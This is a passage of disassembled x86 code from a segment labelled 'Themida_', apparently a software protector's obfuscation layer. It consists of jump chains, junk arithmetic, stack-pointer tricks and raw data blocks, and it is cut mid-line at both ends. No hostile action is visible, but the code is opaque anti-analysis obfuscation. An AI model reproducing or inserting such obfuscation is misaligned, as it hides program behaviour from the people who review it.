15E9241Ch db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5156DF: ; CODE XREF: Themida_:0051C5C3j xor edi, [esp] mov esp, [esp] sub dword ptr [esp+4], 14830130h jmp loc_519CF9 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 0E9240C87h, 0FFFF8666h, 61B0EE81h, 0EE812B11h, 21AE6F77h dd 0C2E9EE01h, 81000090h, 7FFDB0EFh, 834E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51571E: ; CODE XREF: Themida_:0051A77Bj add ebx, 4 xchg ebx, [esp] pop esp shr eax, 18h xor eax, ecx jmp loc_5101B9 ; --------------------------------------------------------------------------- dw 74FFh dd 34FF0424h, 2434FF24h, 4C4835Eh, 81E18951h, 4C1h, 8786E900h dd 0BB53FFFFh, 5080529h, 815BDE09h, 484DF4F6h, 2FF68163h dd 814F1274h, 16569EEEh, 8BF3892Bh, 0C4832434h, 0E9DF2904h dd 0FFFFF6C3h, 0FF5E68E9h, 4C481FFh, 80000000h, 0F82096EFh dd 83241C8Bh, 545004C4h, 582434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push edx mov edx, 5924709Ah sub edx, 22C617A4h shr edx, 1 inc edx xor edx, 19201435h add edx, 0D9B5817h add edx, 0F0556FA4h add ebp, edx pop edx xchg ebp, [esp] pop esp push 7142h mov [esp], ecx push esi mov esi, 1C9559BAh push edx push 54B775D8h pop edx shl edx, 8 jmp loc_51D7C3 ; --------------------------------------------------------------------------- dw 0A82Dh dd 2D460411h, 0CE37140Ch, 581C4721h, 0FF5DF0E9h, 1B1925FFh dd 0B9510F45h, 48D762B6h, 0C55AE949h, 0E2C1FFFFh, 37C9E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51580E: ; CODE XREF: Themida_:00518299j push ecx jmp loc_51EA92 ; --------------------------------------------------------------------------- loc_515814: ; CODE XREF: Themida_:00518D84j pop ecx sub eax, 27BF21DFh jmp loc_50E2EB ; --------------------------------------------------------------------------- aZ4Su db '4$\U[',0 align 4 dd 83685755h, 5F33CA04h, 0F781D7F7h, 0CC35FB78h, 2FE9FD89h dd 0AD00007Fh, 6168D831h, 8900004Dh, 0B3E92434h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_51584F: ; CODE XREF: Themida_:0050E4DDj push dword ptr [esp] jmp loc_517E7F ; --------------------------------------------------------------------------- loc_515857: ; CODE XREF: Themida_:0050D891j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_51D806 ; --------------------------------------------------------------------------- dd 4C481h, 0BA520000h, 4, 0A34DE955h, 6866FFFFh, 896670EFh dd 0B252241Ch, 45CCE965h, 815F0000h, 1F7A8CC5h, 0E9515390h dd 0FB6h, 30A9F281h, 0C3E92C45h, 0B600005Fh, 0E5F68036h dd 0D5E9F528h, 53FFFFC0h, 0E26241BBh, 0B506E91Dh, 0E95E0000h dd 0FFFF9D51h, 0CA85C381h, 0DF01047Dh, 0FFC174E9h db 0FFh ; --------------------------------------------------------------------------- loc_5158D1: ; CODE XREF: Themida_:0050FF6Ej push ebp push ecx jmp loc_51B317 ; --------------------------------------------------------------------------- dd 0BA241489h, 494137C0h, 97E9D701h, 31FFFFFBh, 0E9EF31FDh dd 0ACD1h ; --------------------------------------------------------------------------- loc_5158F0: ; CODE XREF: Themida_:005178A6j xchg edi, [esp] pop esp jmp loc_51C8ED ; --------------------------------------------------------------------------- loc_5158F9: ; CODE XREF: Themida_:0050D596j add eax, ebx pop ebx mov ebp, eax pop eax neg ebp add ebp, 882C1CE1h sub ecx, ebp pop ebp shr ecx, 1 push eax push 3BA78B2h pop eax sub ecx, eax pop eax xor ecx, 0E524F280h jmp loc_51820C ; --------------------------------------------------------------------------- aYvs db 'YV]>',0 align 4 dd 0CDFEDD88h, 5966EB88h, 30FCF380h, 45B66DAh, 0ADF7E934h dd 7FB3FFFFh, 5B66D828h, 2434FF5Bh, 78E6E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51594E: ; CODE XREF: Themida_:0050FAD0j add edi, 163E4675h xor edi, 0B2568EF7h sub edx, 3BF75F6Eh sub edx, edi add edx, 3BF75F6Eh push dword ptr [esp] pop edi add esp, 4 sub edx, 337F3037h push eax jmp loc_514EE3 ; --------------------------------------------------------------------------- db 5 dd 4, 0E9240433h, 0FFFFDC99h, 81D3F74Bh, 137AF9C3h, 5BDF298Fh dd 0FFCECCE9h, 0F30159FFh, 0E389535Eh, 4C381h, 0EB810000h dd 4, 5C241C87h, 0E9240489h, 6208h ; --------------------------------------------------------------------------- loc_5159B8: ; CODE XREF: Themida_:00520E2Fj xor dword ptr [esp], 40181AB3h jmp loc_51408F ; --------------------------------------------------------------------------- loc_5159C4: ; CODE XREF: Themida_:0050FF78j push ebp push esi push 1A544886h pop esi or esi, 794B3C67h sub esi, 6405399Dh jmp loc_50EC20 ; --------------------------------------------------------------------------- loc_5159DD: ; CODE XREF: Themida_:00516746j pop esp mov ax, [esp] sub esp, 4 mov [esp], eax push ebp jmp loc_51646A ; --------------------------------------------------------------------------- loc_5159F1: ; CODE XREF: Themida_:00513AC3j xchg edx, [esp] mov esp, [esp] mov [esp], edx mov edx, esp push ecx mov ecx, 65031BF3h xor ecx, 2BC04851h xor ecx, 66E622ECh or ecx, 28736D5Bh add ecx, 0D78882A5h add edx, ecx pop ecx push ecx jmp loc_518CEC ; --------------------------------------------------------------------------- db 5Ch dd 0E9241489h, 1ED9h, 0B9240C89h, 4, 23E95156h, 8900008Dh dd 51BA2414h, 81678735h, 4F5454EAh, 1C28105h, 42000000h dd 0A9BB534Ah, 0E9327B78h, 0FFFF6732h ; --------------------------------------------------------------------------- loc_515A5C: ; CODE XREF: Themida_:00518F55j push dword ptr [esp] mov ecx, [esp] push edi mov edi, esp jmp loc_5162D9 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 5000000h, 7F3211AAh, 0AA2DE829h, 577F3211h dd 3C53E7BFh, 0BB95164h, 31334F29h, 240C8BCFh, 4C481h dd 0F7810000h, 5D815E53h, 7D219C2Dh, 19EA2D31h, 0F8297D6Dh dd 6D19EA05h, 219C057Dh, 3C8B317Dh, 4C48324h, 0EC83505Dh dd 99D9E904h, 50590000h, 266E9h, 2434FF00h, 0FF8E77E9h dd 7EE81FFh, 0E9162C1Ah, 0FFFF8ECAh, 0E9BFC680h, 5391h dd 81FFE983h, 851FCCC1h, 2DE98145h, 0C1343D6Eh, 0D2E906E1h dd 81FFFFB8h, 886ACDEAh, 5AD30128h, 0E9241C87h, 66EEh dd 74FF5658h, 0E95E0424h, 0FFFFD97Fh ; --------------------------------------------------------------------------- loc_515B18: ; CODE XREF: Themida_:0051252Bj pop ecx sub [esp+4], ecx pop ecx pop edi sub esp, 4 mov [esp], ecx jmp loc_50FC78 ; --------------------------------------------------------------------------- dw 0C389h dd 2A612D58h, 0EA055F79h, 29052663h, 0A106E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515B3E: ; CODE XREF: Themida_:0051298Bj push small 0 sub [esp], bl mov bl, [esp] add esp, 2 xor bl, 0Bh shr bl, 6 xor bl, 0C9h add ch, bl pop ebx jmp loc_50E294 ; --------------------------------------------------------------------------- dd 5D8F75Fh, 22D422CEh, 34FFC601h, 0C4835824h, 5A36804h dd 2C890000h, 4EC8124h, 89000000h, 0CBF243Ch, 0E911B167h dd 3CF1h, 5E9C15Bh, 3BEBC981h, 3BE9465Eh, 89000094h, 0BDBA2414h dd 8714FF1Dh, 0B38FE9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515BA6: ; CODE XREF: Themida_:00520AF7j mov [esp], esi mov esi, esp push ebp jmp loc_50E70B ; --------------------------------------------------------------------------- db 31h, 0DEh, 8Bh dd 0C483241Ch, 71DEE904h, 68660000h, 5D663EABh, 6866h dd 242C2966h, 4A17E9h, 5FFB2900h, 0A34EE9h, 5462BE00h dd 26E9009Ah, 31FFFF94h, 0D9015FFBh, 240C335Bh, 33240C31h dd 89E9240Ch db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_515BF7: ; CODE XREF: Themida_:0050D25Aj push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_51444A ; --------------------------------------------------------------------------- loc_515C05: ; CODE XREF: Themida_:0050CABCj add bl, 8 sub bl, ah jmp loc_51C682 ; --------------------------------------------------------------------------- db 5Eh dd 2D5AD001h, 19C06CB5h, 0B505D801h, 0E919C06Ch, 7A0Ch dd 0C6FE50B6h, 0B551D6F6h, 3A39E961h, 0C4830000h, 4C28104h dd 81000000h, 4C2h, 24148700h, 7677E95Ch, 5F540000h, 8904EC83h dd 9BBD242Ch, 0E933B545h, 5C79h, 0B8505753h, 499F2CCBh dd 2C7B17BFh, 58C73124h, 3FF132BBh, 5FFB01EDh, 0FFCBC2E9h dd 1AE958FFh db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_515C7F: ; CODE XREF: Themida_:00514895j xor ebx, 17266F1Bh jmp loc_52043A ; --------------------------------------------------------------------------- loc_515C8A: ; CODE XREF: Themida_:0051ADADj shr ecx, 2 add ecx, 1D0B1015h jmp loc_521028 ; --------------------------------------------------------------------------- dd 17E95966h, 5C000090h, 0FF841EE9h db 0FFh ; --------------------------------------------------------------------------- loc_515CA5: ; CODE XREF: Themida_:0051210Aj xchg ebp, [esp] pop esp mov [esp], edi mov edi, 39F22DC7h mov esi, edi pop edi push ebp sub esp, 4 jmp loc_512E9F ; --------------------------------------------------------------------------- db 81h, 0C2h, 0B5h dd 0E94BF12Bh, 0FFFFDDD6h, 8850C288h, 0E9E388D4h, 0FFFF6D1Eh ; --------------------------------------------------------------------------- loc_515CD4: ; CODE XREF: Themida_:0051143Ej xchg ebp, [esp] jmp loc_513E08 ; --------------------------------------------------------------------------- dd 83241C8Bh, 0C48104C4h, 4, 8B2434FFh, 0C4832404h, 4C48104h dd 51000000h, 9B01E9B9h, 1BC5E910h, 0AB680000h, 8B62C977h dd 0C4812434h, 4, 15330705h, 5CD90567h, 0F001073Eh, 3E5CD92Dh dd 33072D07h, 34FF6715h, 6DE95E24h, 89FFFFF1h, 405E0h dd 0C0830000h, 74FF5004h, 8F580424h, 96E92404h db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_515D47: ; CODE XREF: Themida_:0051CBF4j mov ebp, esp add ebp, 4 push eax jmp loc_517F0B ; --------------------------------------------------------------------------- db 81h, 0EBh, 0B9h dd 815BB351h, 163E10C3h, 81CB0117h, 163E10EBh, 0BEE95717h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_515D6F: ; CODE XREF: Themida_:0050F5AAj xchg ebx, [esp] mov esp, [esp] push dword ptr [edi+eax*4] push dword ptr [esp] mov eax, [esp] push ebp push esp mov ebp, [esp] add esp, 4 jmp loc_51961A ; --------------------------------------------------------------------------- loc_515D8B: ; CODE XREF: Themida_:0051D40Dj mov edi, esp add edi, 4 jmp loc_50D3D0 ; --------------------------------------------------------------------------- aZhM db 'Zhm',0 align 2 dw 489h dd 2434FF24h, 93ECE9h db 0 ; --------------------------------------------------------------------------- loc_515DA9: ; CODE XREF: Themida_:0051CDD5j mov [esp], ecx mov ecx, 2 jmp loc_5137FD ; --------------------------------------------------------------------------- loc_515DB6: ; CODE XREF: Themida_:0051E25Bj mov [esp], ecx jmp loc_50B5E5 ; --------------------------------------------------------------------------- dw 0C7BFh dd 0F72BB236h, 0C9F781D7h, 68415841h, 0 dd 0DCFE9h, 24048100h, 4, 5D2434FFh, 306CE9h, 4C48300h dd 8B24048Fh, 0A0E92424h, 8FFFFFAAh, 248B2404h, 57E7E924h dd 815FFFFFh, 4ECh, 6E23E900h, 0F74FFFFFh, 82C781DFh, 89847475h dd 4C295FF9h, 0A4E90824h, 33000031h, 27E92414h, 0FFFF86h dd 24148BF3h, 0F04C483h, 8B66C0B6h, 6F682414h, 89000029h dd 0E9542414h, 895h, 0E958E730h, 0FFFFF048h, 47E9CB28h dd 8BFFFFC1h, 14892424h, 5787E924h, 0E950FFFFh, 7493h dd 240C8B66h, 0E904EC83h, 0A271h ; --------------------------------------------------------------------------- loc_515E70: ; CODE XREF: Themida_:0050C05Fj pop edx jmp loc_510635 ; --------------------------------------------------------------------------- dw 9C05h dd 14C5342h, 429C2DC8h, 0E3E94C53h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_515E87: ; CODE XREF: Themida_:00511214j pop ebx add al, 38h jmp loc_51AD7E ; --------------------------------------------------------------------------- db 1 dd 5A042454h, 9F04E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_515E9A: ; CODE XREF: Themida_:0051E716j mov ebx, 596E3A22h not ebx xor ebx, 0C290BE3Bh mov esi, ebx pop ebx add esi, 1C2A1146h xor esi, 0AAB383E5h sub ebp, esi pop esi pop ecx push ebx jmp loc_50CB0E ; --------------------------------------------------------------------------- dd 3561EF81h, 0DF012238h, 0FFAA94E9h db 0FFh ; --------------------------------------------------------------------------- loc_515ECD: ; CODE XREF: Themida_:0051C0DAj push eax jmp loc_50CA1E ; --------------------------------------------------------------------------- loc_515ED3: ; CODE XREF: Themida_:0050DDAAj push ebx mov ebx, esp push ecx mov ecx, 6FB1065h sub ecx, 50133DABh add ecx, 277B5EA4h inc ecx jmp loc_520835 ; --------------------------------------------------------------------------- loc_515EEE: ; CODE XREF: Themida_:00514CAFj add esp, 4 jmp loc_51E78A ; --------------------------------------------------------------------------- a_s db '_;',0 align 4 aVXbuih db 'VBUih',0 dd 29000000h, 815E2434h, 0FB508FE6h, 83C68176h, 2945534Dh dd 0DA015EF2h, 33AA68h, 243C8900h, 1729EBFh, 0A1E7815Ah dd 817F6A1Eh, 0D32708C7h, 6CE94F6Dh db 0A0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_515F3B: ; CODE XREF: Themida_:0051D8FFj mov ebp, esp jmp loc_50E2FD ; --------------------------------------------------------------------------- dw 4DBFh dd 31651850h, 0F0015FFEh, 0E12DE95Eh, 0F801FFFFh, 2404875Fh dd 3324248Bh, 0EEE9242Ch db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_515F63: ; CODE XREF: Themida_:0051213Cj mov esp, [esp] loc_515F66: ; CODE XREF: Themida_:00513056j push ecx jmp loc_512395 ; --------------------------------------------------------------------------- loc_515F6C: ; CODE XREF: Themida_:0051DE67j add ecx, edi push ebp mov ebp, 2C611B00h xor ebp, 18A21C62h jmp loc_50F03F ; --------------------------------------------------------------------------- loc_515F7F: ; CODE XREF: Themida_:00518AEFj xor ebx, 3EE46AE5h jmp loc_520AA1 ; --------------------------------------------------------------------------- dw 0E945h dd 0FFFF65ABh, 3EEB815Fh, 0C15D9E5Ah, 0E3C104E3h, 2C38106h dd 817868F8h, 0C845E9EDh, 81DD0124h, 0C845E9C5h, 241C8B24h dd 4C481h, 2C330000h, 0B443E924h, 0EC81FFFFh, 4, 88240C89h dd 79E955D5h db 0A8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_515FD3: ; CODE XREF: Themida_:00511F95j mov ebx, 18F16D16h jmp loc_5126EF ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 0E9FE0104h, 3CEBh ; --------------------------------------------------------------------------- loc_515FE8: ; CODE XREF: Themida_:0050BB29j sub esp, 4 jmp loc_51EF6C ; --------------------------------------------------------------------------- db 31h dd 241C8BD8h, 4C481h, 330D0000h, 0C147F612h, 7E2507E8h dd 562EDA57h, 0FFFBC8E9h db 0FFh ; --------------------------------------------------------------------------- loc_516011: ; CODE XREF: Themida_:0050D1DDj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_511D10 ; --------------------------------------------------------------------------- loc_516020: ; CODE XREF: Themida_:0051A151j mov esi, 54C93CF4h shl esi, 8 push edx mov edx, 6A686E87h not edx or edx, 1D910867h push esi jmp loc_513136 ; --------------------------------------------------------------------------- dd 56242C89h, 44505968h, 2434FF74h, 4C4815Eh, 81000000h dd 922C72E6h, 4EEE8100h, 0E9000000h, 0AB32h, 5C240C87h dd 25BFC381h, 3CE9238Dh, 8B000089h, 62E92404h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516077: ; CODE XREF: Themida_:0051D4EBj add bl, al add bl, 7Ah add bl, 85h push eax mov ah, 71h xor ah, 1 jmp loc_50CAB6 ; --------------------------------------------------------------------------- dw 34FFh aYsV db '$Y',0 db 0 ; --------------------------------------------------------------------------- loc_516093: ; CODE XREF: Themida_:0051273Fj mov [esp], ecx push eax mov eax, 5ED0195Ah jmp loc_5199B2 ; --------------------------------------------------------------------------- db 1, 0D7h, 5Ah dd 9DE5E9h db 0 ; --------------------------------------------------------------------------- loc_5160A9: ; CODE XREF: Themida_:0051E79Cj mov esi, [esp] push ebx mov ebx, esp jmp loc_50C6C8 ; --------------------------------------------------------------------------- dd offset dword_545868 dd 24148900h, 2B2E9h, 1C875900h, 0C3005C24h, 6804B450h dd 5F6h, 0B6241489h, 0B45051E2h, 58E18855h, 15A9E9h db 0 ; --------------------------------------------------------------------------- loc_5160E1: ; CODE XREF: Themida_:0051AB2Fj push ecx mov ecx, 7EBB0B73h and ecx, 1A8457A9h xor ecx, 2C88498Ah xor ecx, 36084AAAh jmp loc_51AC68 ; --------------------------------------------------------------------------- dw 0C280h dd 8CEA8026h, 885AD028h, 0D9F658C1h, 7FE9C9FEh, 5900006Ah dd 84713E2Dh, 53E80121h, 802320BBh, 6EBC120h, 482EE9h db 0 ; --------------------------------------------------------------------------- loc_516129: ; CODE XREF: Themida_:0051D0D9j pop eax jmp loc_51DC28 ; --------------------------------------------------------------------------- db 68h dd 78D6h, 54240C89h, 57240C8Bh, 0B951E789h, 76294B23h dd 9DE9D9F7h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51614B: ; CODE XREF: Themida_:00510010j sub esp, 4 mov [esp], edi mov edi, esp push edx jmp loc_512554 ; --------------------------------------------------------------------------- dd 5DE9015Eh, 2474FF51h, 88E95904h db 0FCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51616B: ; CODE XREF: Themida_:0050F762j pop edi sub edi, 517E2B93h jmp loc_517258 ; --------------------------------------------------------------------------- db 80h dd 0CFFE0EC7h, 0FFA7F2E9h, 3FEB81FFh, 15E6D2Dh, 7E46E9CBh dd 0AEBEFFFFh, 29E41669h, 0FA75E9F2h, 0C483FFFFh, 4EC8304h dd 89240489h, 40DF68E0h, 2C890000h, 4BA5224h, 89000000h dd 0DFE95AD5h, 8100008Bh, 3ABACAh, 56F28720h, 0F7241487h dd 241487D2h, 50F2875Eh, 0BB1591B8h, 5150560Fh, 0C5100BB9h dd 0E9C8893Bh, 0FFFF8EF3h, 0B1240C89h, 59CA88D1h, 525AD028h dd 0FFC2CAE9h, 240489FFh, 0FF53E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_5161FD: ; CODE XREF: Themida_:00510BFEj xchg ecx, [esp] pop esp jmp loc_50BEB7 ; --------------------------------------------------------------------------- dw 0C381h dd 610163F8h, 4FFF381h, 0DE012484h, 83241C8Bh, 0C68104C4h dd 2, 4EC81h, 34890000h, 2474FF24h, 24348B04h, 81E18951h dd 4C1h, 4C18100h, 0E9000000h, 9DD9h, 4C481h, 55520000h dd 662F5268h, 53E95D59h, 0C100008Fh, 0E83506E0h, 0F701B276h dd 0B4C6E9D8h, 0A0B6FFFFh, 885AF428h, 24048BE2h, 4C481h dd 0F32C0000h, 0D0286004h, 80A3B353h, 0FDE9FFC3h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_516287: ; CODE XREF: Themida_:00510292j push eax push 321528F8h pop eax or ebx, eax mov eax, [esp] add esp, 4 jmp loc_51AEDF ; --------------------------------------------------------------------------- loc_51629E: ; CODE XREF: Themida_:005126EAj sub ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp mov [esp], ecx mov ecx, 0FFFFFFFFh sub [edi+24h], ecx push dword ptr [esp] pop ecx add esp, 4 loc_5162C0: ; CODE XREF: Themida_:0050C033j push ebp jmp loc_50B6EB ; --------------------------------------------------------------------------- dw 15BDh dd 311ACE0Eh, 0F6815DEEh, 26A947F6h, 0A36BE9h db 0 ; --------------------------------------------------------------------------- loc_5162D9: ; CODE XREF: Themida_:00515A65j add edi, 4 jmp loc_50BDC7 ; --------------------------------------------------------------------------- dd 38D2C681h, 0DE01743Fh, 38D2EE81h, 0C681743Fh, 15A46E11h dd 56241C8Bh, 0C681E689h, 4, 2041E9h db 0 ; --------------------------------------------------------------------------- loc_516309: ; CODE XREF: Themida_:0050C4F6j and ebp, 2271DFh shr ebp, 4 xor ebp, 2271Ch mov edi, ebp pop ebp add edx, edi jmp loc_5163B6 ; --------------------------------------------------------------------------- dw 0E95Eh dd 0FFFF6581h, 0E980C1FEh, 8BCF307Dh, 0C483240Ch, 0C67BE904h dd 5866FFFFh, 8450E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516342: ; CODE XREF: Themida_:00517AEDj xor edx, [esp] xor [esp], edx jmp loc_518EED ; --------------------------------------------------------------------------- db 54h, 8Bh, 14h aVtsic db '$VTC',0 align 4 dd 8904EC83h, 3368243Ch, 0E9000028h, 5D2h, 0F3005866h dd 0C9E95166h, 0FFFFFFB9h, 5A042474h, 10E9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx jmp loc_51F22C ; --------------------------------------------------------------------------- db 8Fh, 4, 24h aSc_1 db '\!',0 align 2 loc_516396: ; CODE XREF: Themida_:0051ED95j pop edi add edx, edi jmp loc_51D0DE ; --------------------------------------------------------------------------- loc_51639E: ; CODE XREF: Themida_:00517D27j push dword ptr [esp] jmp loc_51775E ; --------------------------------------------------------------------------- dw 8966h dd 0F66240Ch, 5166C8B6h, 522FE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5163B6: ; CODE XREF: Themida_:0051631Dj pop edi xchg edx, [esp] jmp loc_51244E ; --------------------------------------------------------------------------- db 68h dd 2AF4h, 54E5E9h, 81D3F700h, 1A4592EBh, 78EB815Bh, 897DFA95h dd 241C8BDFh, 4C481h, 0C5810000h, 3DDC5536h, 5A6AC581h dd 0FD0174DEh, 5A6AED81h, 0B95174DEh, 3DDC5536h, 0FFA36EE9h db 0FFh ; --------------------------------------------------------------------------- loc_516401: ; CODE XREF: Themida_:0051CFEFj and esi, 4B3A0D50h neg esi shl esi, 7 add esi, 28224327h neg esi xor esi, 6054B2D8h xor ebx, esi mov esi, [esp] jmp loc_517C27 ; --------------------------------------------------------------------------- dd 212FB951h, 0CB8978F2h, 5BDD2959h, 2C8BE901h, 0EC835324h dd 0A329E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51643E: ; CODE XREF: Themida_:005182A3j pop ecx pop esi sub ebp, 3A5C5174h sub edx, ebp pop ebp xor edx, [esp] jmp loc_512A0A ; --------------------------------------------------------------------------- loc_516451: ; CODE XREF: Themida_:005193BEj sub ecx, 274E2A2Ah sub ecx, 57172DAAh add ecx, ebp add ecx, 57172DAAh jmp loc_50E35D ; --------------------------------------------------------------------------- loc_51646A: ; CODE XREF: Themida_:005159ECj mov ebp, esp add ebp, 4 jmp loc_51E65D ; --------------------------------------------------------------------------- db 8Fh dd 248B2404h, 241C8924h, 0F7803AB7h, 2EC811Dh, 66000000h dd 0E9240C89h, 8EE1h, 3916950Dh, 0AB01E95Ah, 0D8F7FFFFh dd 0C9583548h, 0C3894D84h, 8324048Bh, 0B85004C4h, 1CC91F12h dd 6472E9h db 0 ; --------------------------------------------------------------------------- loc_5164B9: ; CODE XREF: Themida_:00510BB4j pop esi sub ebx, edi jmp loc_51F941 ; --------------------------------------------------------------------------- loc_5164C1: ; CODE XREF: Themida_:00520D83j sub ecx, ebx mov ebx, [esp] jmp loc_510898 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 541DE904h, 55A0000h, 20C59133h, 0FFF649E9h dd 240481FFh, 4, 0E92434FFh, 0FFFF5B06h, 815EF701h, 6803B2F7h dd 8BFA01DCh, 0C481243Ch, 4, 148B0203h, 4C48124h, 68000000h dd 77D7h, 0E9240489h, 0FFFF50C9h, 0ED668h, 24048900h, 8951D889h dd 59CF89C1h, 0FF7EE2E9h db 0FFh ; --------------------------------------------------------------------------- loc_516531: ; CODE XREF: Themida_:0051F664j add ebx, edi mov edi, [esp] add esp, 4 jmp loc_50B7C2 ; --------------------------------------------------------------------------- loc_516541: ; CODE XREF: Themida_:0051EF5Dj sub ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 mov [esp], ecx push ebp mov ebp, 203F0E64h jmp loc_513ED9 ; --------------------------------------------------------------------------- db 88h dd 0D98851EBh, 88CB8853h, 5B595BDEh, 241C8B59h, 8004C483h dd 0EC81A9E6h, 4, 0B7241C89h, 0AFCF801Dh, 0FEBFC780h, 80F780C7h dd 28D0C680h, 0D0EE80FEh, 5B2434FFh, 4C481h, 0A7E90000h db 1Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5165B3: ; CODE XREF: Themida_:0050CD62j sub dword ptr [esp+4], 4AF760A5h add [esp+4], ebx push esi mov esi, 4AF760A5h jmp loc_50BD96 ; --------------------------------------------------------------------------- dw 1489h dd 0FEF7B224h, 67E952C2h, 290000A5h, 5E959CEh, 81FFFFFDh dd 2E29DAC7h, 84C7817Ch, 5E7C0437h, 3304EF83h, 3C31243Ch dd 243C3324h, 0E924248Bh, 0FFFFB568h, 4C481h, 0E9570000h dd 8E18h, 74FF555Ah, 8F5D0424h, 8EE92404h, 4000010h, 66D828D3h dd 3E6E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_516626: ; CODE XREF: Themida_:005132FBj pop ecx add ecx, 0F024BBE5h add ebx, ecx pop ecx push 3817h mov [esp], edi jmp loc_516A5A ; --------------------------------------------------------------------------- db 66h, 5Ah, 66h dd 2246C81h, 81661979h, 0D202246Ch, 6C81660Fh, 41B80224h dd 195E9h, 4F28100h, 8149E301h, 344F58EAh, 8CCCE9BDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_51666A: ; CODE XREF: Themida_:0050DF60j xor ebx, 4E756DC6h sub ebx, 38281D57h sub ebx, 0EB8B0E27h jmp loc_51533C ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 0E9241433h, 8548h ; --------------------------------------------------------------------------- loc_51668C: ; CODE XREF: Themida_:0051D0E6j add esp, 4 push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_51E178 ; --------------------------------------------------------------------------- loc_5166A6: ; CODE XREF: Themida_:005203FEj xor ch, 44h xor dl, ch pop ecx or dl, 0 xor dl, 0C9h jmp loc_51DC0F ; --------------------------------------------------------------------------- db 0FFh dd 0E2E92434h, 83FFFFE9h, 0E6C1FFEEh, 6CF68107h, 310DB86Eh dd 0D7015EF2h, 5A2434FFh, 0FF6E5DE9h, 0EC815AFFh, 4, 0BB241C89h dd 4, 0BFE9DA01h db 6Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5166EF: ; CODE XREF: Themida_:005199B9j pop eax add edi, 64B005C6h add edi, ecx sub edi, 64B005C6h mov ecx, [esp] add esp, 4 push 53F6h mov [esp], eax mov eax, 4 add edi, eax push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push eax push esp jmp loc_51AB59 ; --------------------------------------------------------------------------- dw 27B3h dd 8079B252h, 65E95EC2h, 81FFFFE5h, 1E3F39C3h, 0B2D6E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_516742: ; CODE XREF: Themida_:00512449j pop ebp pop dword ptr [esp] jmp loc_5159DD ; --------------------------------------------------------------------------- db 66h dd 0E9000068h, 0FFFF687Ch, 0E9CB315Fh, 0FFFF5ADDh, 0BE56C101h dd 63665225h, 2D3DF681h, 0F6816CE1h, 4C162915h, 4FDEE9h dd 4EC8100h, 54000000h, 0FF8487E9h, 0F8BE56FFh, 132BF3Fh dd 0F0015EF0h, 5DCD68h, 24348900h, 0FFD6D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_516799: ; CODE XREF: Themida_:0050D35Ej push edx jmp loc_51D8ED ; --------------------------------------------------------------------------- db 50h dd 157207B8h, 99CEE948h, 15D0000h, 81525AD5h, 4ECh, 242C8900h dd 9124DF68h, 242C8B3Ah, 4C481h, 0D0E90000h, 88FFFF8Fh dd 5AF788CEh, 83240C8Bh, 516604C4h, 824FE9h, 0D7E18100h dd 0E94B671Ah, 4D41h, 7997E953h, 8166FFFFh, 3E022444h dd 1497E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5167FA: ; CODE XREF: Themida_:0051209Dj mov eax, [esp] push edi mov edi, esp jmp loc_51771D ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0F5D7E95Fh, 0E768FFFFh, 89000049h, 0BE56241Ch, 61A63AC7h dd 75ABA52h, 0E2813659h, 147F3777h, 0FD52EA81h, 0D6310B8Ah dd 0C3EE815Ah, 89696830h, 24348BF3h, 4C481h, 0DD010000h dd 81241C8Bh, 4C4h, 0A823E900h, 0CAB90000h, 68201D59h dd 4F8Bh, 68242C89h, 0A093AE3h, 0BBED815Dh, 89CED2DAh dd 0A18EE9EBh, 8B66FFFFh, 0EC83240Ch, 24048904h, 659D68h dd 48F5400h, 24048124h, 4, 0E9515558h, 236h ; --------------------------------------------------------------------------- loc_516894: ; CODE XREF: Themida_:005109B6j sub ebx, 26DB7254h jmp loc_51EA7F ; --------------------------------------------------------------------------- loc_51689F: ; CODE XREF: Themida_:0050CFE1j mov ecx, 